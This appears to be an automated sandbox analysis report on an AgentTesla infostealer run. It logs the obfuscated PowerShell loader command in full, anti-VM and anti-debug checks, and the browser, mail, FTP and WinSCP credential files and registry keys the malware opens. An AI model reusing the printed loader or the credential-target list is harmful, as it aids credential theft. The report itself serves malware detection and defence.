Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3308	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3308	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 4272	Thread sleep count: 685 > 30
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 4272	Thread sleep time: -342500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3308	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9040
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 685

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: ModuleInformation

Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 0000000C.00000002.91096675961.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 0000000C.00000002.91095102327.0000000001440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: powershell.exe, 00000006.00000002.86781234856.000000000734F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe,
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 12_2_20496418 LdrInitializeThunk,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$biliate = """laabrdgedga-sttdiycopsteun st-udthoyaupepewrdreetrfpaiusnumiretcoimaofrnsv sm'reusksunifuncogkn tosphyprsjatnuesimst;viusmsprisknangim prsplyeusgrtgueoemfo.rerpuuconhutsoifrmfreil.joifonsntsnelurcoopapjastrererelvkuiticreefesbr;ampupukobsnlvoidecaw sasrutrhajetaaitecsv brceslfoaunsvasle ebtinubaebaiourceokonpr1ci sh{ti[phdaflullbuimimhapmaoafreutan(ad`"""inuluskiekarme3br2si`"""rr)ri]gopmauflbstlmeitycsa aeskatinahjtsmisvcne stehoxattimeteropnna gribenbrtno yddmierestotenrbrostyovcspamermiecotkl(sn)me;sm[afdepllulreienmflprdoharegtbr(ov`"""migaldmeipl3in2er`"""te)ce]tapeuudrbculmaihjcas lgsudttrabrtsqiercco viebextetveetrrhrnma foibanartha stsbrcudagrllaeskwteiscnsudreobuwcrevexchtstesuxkn(noifinkutse modlnrigibefratpl,reiannaltju beaudmambmiupalheaap,diifonkntsp jubprasesvaoqu,mailenimtba noiafadagvrtpotsyaov,chigenpltre divsaetvjsimboasotan1un5fr8ud,giitinstter yemsucslgkursk)eg;ak[kuddilbulimirdmampanovarprtfr(sk`"""svksqerorpinflerelpa3ov2as`"""tr)wo]hepmeurobbalfrilucre hysmitfoaunttaitmcja anedexmitkuesarblnoi reifansutov drhdeestabapblsbeispzbaeko(stiunnditou ycpkerbrourpre,phisonxatcl aianodstrchefosov,viidenjutdi mutimowerartinrfripo)mo;co[sldoplsalspiapmunpreosjrrotko(wh`"""jgsschdiebilshlko3ge2re.vaduflomlun`"""st)un]beppauslboslbeiuncas masmntsyaletfritrcpr noevixratfoererwenun sevenofuitrdrh padterflafigmefciiennstikasbehmi(esibonsutpo opomumpldserge)ba;ej[spdfalbelmeilimhepfroudrgutau(je`"""mawskifantemnumin.apdkolbolfl`"""fu)ho]scpovuprbmdlviialcba bossatasahotliifocsi veenoxluthaebirjenla hoiennnatgu armtjihoxscedartrgswejotcodtrefivsuckeamipqussu(skiblncitch benpribrtserud,uditincotjo vafaseewlob,thivinquteo noaphfafsxi9im3bl)ta;ls[chdculcalhaipumcipicofarretsl(be`"""rekgletrrhinatesilek3sa2ur`"""ti)de]papfeudrbfolopilkctn busabtsyaudtmeisocfr coeimxfatmoefrrnanto trimentotal kaludoescaskqurosepasphoovuforjucapeph(roiafncotte velexesoiun)ir;un[redpiliwloyilammipshostrfatcr(bo`"""flkauecervantoejelav3pl2re`"""se)co]unpanucoboplfoilacla casrotopauntmuikacti wieknxentreeudrtrntr ariponintsl pivinistrpetrauacatilvaatelbelclothcfa(tristnsotwi gevgr1sk,smilunthtor cavbl2ne,keistncotby hevdr3pa,heiganuptku svvca4in)pr;py[drdmalinlpribrmhepploknrpttba(ho`"""craundbevalatopanicr3st2ph.wadbelsalci`"""to)un]stptiurebsylpuiencfo cosmotunaunthuiatcst meemixdotofeadrinnro suvbeoupividti cimtrabipbegateoensleglrpribrccomfiaunsankvn(saisknmetpe plbinrtriodnobkir,doidenqutru camchiuddtitknssn)in;ov[trdrelselfuiunmripgoosuromtsc(ve`"""brkvaemermanpeesklst3co2in`"""ef)ce]bepkoumybkollbicocun edsgatkuatetkoiaaclu noevexprtneeunranncy prisenlvtplpfotborkr scegansuumemfuschyfrspotbeeoomfjlguoflcsranelgaevosprwun(paudiieynsttpe grvex1ma,psihankoten kovgr2ha)et;om[oodrhldilflisumenpskoovrtrtsp(st`"""obkedeelrrentaedaldi3sc2di`"""si)ni]fopchutlbdalcaialcli smsnytvaaretprisuctr luebexgattregermanbr reigunentan unsgieunttiten
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$biliate = """laabrdgedga-sttdiycopsteun st-udthoyaupepewrdreetrfpaiusnumiretcoimaofrnsv sm'reusksunifuncogkn tosphyprsjatnuesimst;viusmsprisknangim prsplyeusgrtgueoemfo.rerpuuconhutsoifrmfreil.joifonsntsnelurcoopapjastrererelvkuiticreefesbr;ampupukobsnlvoidecaw sasrutrhajetaaitecsv brceslfoaunsvasle ebtinubaebaiourceokonpr1ci sh{ti[phdaflullbuimimhapmaoafreutan(ad`"""inuluskiekarme3br2si`"""rr)ri]gopmauflbstlmeitycsa aeskatinahjtsmisvcne stehoxattimeteropnna gribenbrtno yddmierestotenrbrostyovcspamermiecotkl(sn)me;sm[afdepllulreienmflprdoharegtbr(ov`"""migaldmeipl3in2er`"""te)ce]tapeuudrbculmaihjcas lgsudttrabrtsqiercco viebextetveetrrhrnma foibanartha stsbrcudagrllaeskwteiscnsudreobuwcrevexchtstesuxkn(noifinkutse modlnrigibefratpl,reiannaltju beaudmambmiupalheaap,diifonkntsp jubprasesvaoqu,mailenimtba noiafadagvrtpotsyaov,chigenpltre divsaetvjsimboasotan1un5fr8ud,giitinstter yemsucslgkursk)eg;ak[kuddilbulimirdmampanovarprtfr(sk`"""svksqerorpinflerelpa3ov2as`"""tr)wo]hepmeurobbalfrilucre hysmitfoaunttaitmcja anedexmitkuesarblnoi reifansutov drhdeestabapblsbeispzbaeko(stiunnditou ycpkerbrourpre,phisonxatcl aianodstrchefosov,viidenjutdi mutimowerartinrfripo)mo;co[sldoplsalspiapmunpreosjrrotko(wh`"""jgsschdiebilshlko3ge2re.vaduflomlun`"""st)un]beppauslboslbeiuncas masmntsyaletfritrcpr noevixratfoererwenun sevenofuitrdrh padterflafigmefciiennstikasbehmi(esibonsutpo opomumpldserge)ba;ej[spdfalbelmeilimhepfroudrgutau(je`"""mawskifantemnumin.apdkolbolfl`"""fu)ho]scpovuprbmdlviialcba bossatasahotliifocsi veenoxluthaebirjenla hoiennnatgu armtjihoxscedartrgswejotcodtrefivsuckeamipqussu(skiblncitch benpribrtserud,uditincotjo vafaseewlob,thivinquteo noaphfafsxi9im3bl)ta;ls[chdculcalhaipumcipicofarretsl(be`"""rekgletrrhinatesilek3sa2ur`"""ti)de]papfeudrbfolopilkctn busabtsyaudtmeisocfr coeimxfatmoefrrnanto trimentotal kaludoescaskqurosepasphoovuforjucapeph(roiafncotte velexesoiun)ir;un[redpiliwloyilammipshostrfatcr(bo`"""flkauecervantoejelav3pl2re`"""se)co]unpanucoboplfoilacla casrotopauntmuikacti wieknxentreeudrtrntr ariponintsl pivinistrpetrauacatilvaatelbelclothcfa(tristnsotwi gevgr1sk,smilunthtor cavbl2ne,keistncotby hevdr3pa,heiganuptku svvca4in)pr;py[drdmalinlpribrmhepploknrpttba(ho`"""craundbevalatopanicr3st2ph.wadbelsalci`"""to)un]stptiurebsylpuiencfo cosmotunaunthuiatcst meemixdotofeadrinnro suvbeoupividti cimtrabipbegateoensleglrpribrccomfiaunsankvn(saisknmetpe plbinrtriodnobkir,doidenqutru camchiuddtitknssn)in;ov[trdrelselfuiunmripgoosuromtsc(ve`"""brkvaemermanpeesklst3co2in`"""ef)ce]bepkoumybkollbicocun edsgatkuatetkoiaaclu noevexprtneeunranncy prisenlvtplpfotborkr scegansuumemfuschyfrspotbeeoomfjlguoflcsranelgaevosprwun(paudiieynsttpe grvex1ma,psihankoten kovgr2ha)et;om[oodrhldilflisumenpskoovrtrtsp(st`"""obkedeelrrentaedaldi3sc2di`"""si)ni]fopchutlbdalcaialcli smsnytvaaretprisuctr luebexgattregermanbr reigunentan unsgieunttiten

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_079DD7E4 CreateNamedPipeW,

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5484, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5484, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5484, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_010E4A7A bind,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_010E4A55 bind,

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
